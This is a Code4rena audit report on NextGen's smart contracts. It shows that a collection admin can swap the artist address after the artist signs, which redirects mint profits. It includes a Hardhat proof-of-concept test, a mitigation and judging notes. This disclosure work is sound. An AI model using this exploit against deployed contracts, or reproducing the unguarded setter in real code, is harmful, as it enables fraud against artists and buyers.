It's possible to change the collectionArtistAddress after having the artist sign the collection

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L147-L166
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/NextGenCore.sol#L257-L262
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L380

Vulnerability details

In NextGenCore::setCollectionData, once the initial collectionAdditionalData is set and artistSigned[_collectionID] == true, then the collectionArtistAddress should not be changed.

However, it is possible for CollectionAdmin to trick an artist into signing the collection and then assigning a different address to the collectionArtistAddress.

collectionArtistAddress is allowed to proposePrimaryAddressesAndPercentages in NextGenMinterContract, which sets the addresses that the mint profits are distributed to.

So a malicious operator could convince an artist to sign a collection, promote and launch a mint, and then take the profits all for themselves.

The issue stems from the implementation of NextGenCore::setCollectionData.

It's possible to initialize a collection (passing _collectionTotalSupply as 0) with data elements including collectionArtistAddress.

Once that's done, it's possible for an artist to sign a collection since:

function artistSignature(uint256 _collectionID, string memory _signature) public {
        require(msg.sender == collectionAdditionalData[_collectionID].collectionArtistAddress, "Only artist");
        require(artistSigned[_collectionID] == false, "Already Signed");
        artistsSignatures[_collectionID] = _signature;
        artistSigned[_collectionID] = true;
    }

When the artist has signed, the operator can call NextGenCore::setCollectionData and re-initialize the collectionArtistAddress, since collectionTotalSupply is still 0.

Proof of concept

Add the following test to hardhat/test

const {
  loadFixture,
} = require("@nomicfoundation/hardhat-toolbox/network-helpers");
const { expect } = require("chai");
const { ethers } = require("hardhat");
const fixturesDeployment = require("../scripts/fixturesDeployment.js");

let signers;
let contracts;
let hhAuction;

describe("NextGen Tests", function () {
  before(async function () {
    ({ signers, contracts } = await loadFixture(fixturesDeployment));
    const auctionDemo = await ethers.getContractFactory("auctionDemo");

    hhAuction = await auctionDemo.deploy(
      await contracts.hhMinter.getAddress(),
      await contracts.hhCore.getAddress(),
      await contracts.hhAdmin.getAddress(),
    );

  });

  context("ArtistSignatureSpoof", () => {
    it("Spoofs the artists signature", async function () {
      const operator = signers.addr1;
      const artist = signers.addr2;
      const falseArtist = signers.addr3;

      const collectionId = 1;

      await contracts.hhCore.createCollection(
        "Test Collection 1",
        "Artist 1",
        "For testing",
        "www.test.com",
        "CCO",
        "https://ipfs.io/ipfs/hash/",
        "",
        ["desc"],
      );

      await contracts.hhAdmin.registerCollectionAdmin(
        1,
        operator.address,
        true,
      );

      // _collectionTotalSupply set to 0
      await contracts.hhCore.connect(operator).setCollectionData(
        collectionId,
        artist.address, // _collectionArtistAddress
        2, // _maxCollectionPurchases
        0, // _collectionTotalSupply: set to 0.
        0, // _setFinalSupplyTimeAfterMint
      );

      // artist signs
      await contracts.hhCore.connect(artist).artistSignature(collectionId, "originalArtistSignature");

      // _collectionTotalSupply set to 100
      await contracts.hhCore.connect(operator).setCollectionData(
        collectionId,
        falseArtist.address, // _collectionArtistAddress
        2, // _maxCollectionPurchases
        100, // _collectionTotalSupply: set to 100.
        0, // _setFinalSupplyTimeAfterMint
      );

      const finalSignature = await contracts.hhCore.artistsSignatures(collectionId)
      const collectionArtist = await contracts.hhCore.retrieveArtistAddress(collectionId)
      
      expect(finalSignature).to.equal("originalArtistSignature");
      expect(collectionArtist).to.equal(falseArtist.address);

    });
  });
});

Impact

Artist can be cheated into signing a collection that they do not profit from.

Users can be duped into buying tokens that seem to come from an artist but don't.

Tools Used

Manual Review, Hardhat

Recommended Mitigation Steps

In setCollectionData, if an artist has signed, collectionArtistAddress should not be re-assignable.

A simple solution is to change collectionAdditionalData[_collectionID].collectionTotalSupply == 0 to collectionAdditionalData[_collectionID].collectionTotalSupply == 0 && artistSigned[_collectionID] == false in NextGenCore::setCollectionData.

Assessed type

Other

[c4-pre-sort]

141345 marked the issue as duplicate of #323

[c4-pre-sort]

141345 marked the issue as not a duplicate

[c4-pre-sort]

141345 marked the issue as primary issue

[c4-pre-sort]

141345 marked the issue as sufficient quality report

[c4-pre-sort]

141345 marked the issue as duplicate of #478

[c4-judge]

alex-ppg marked the issue as partial-50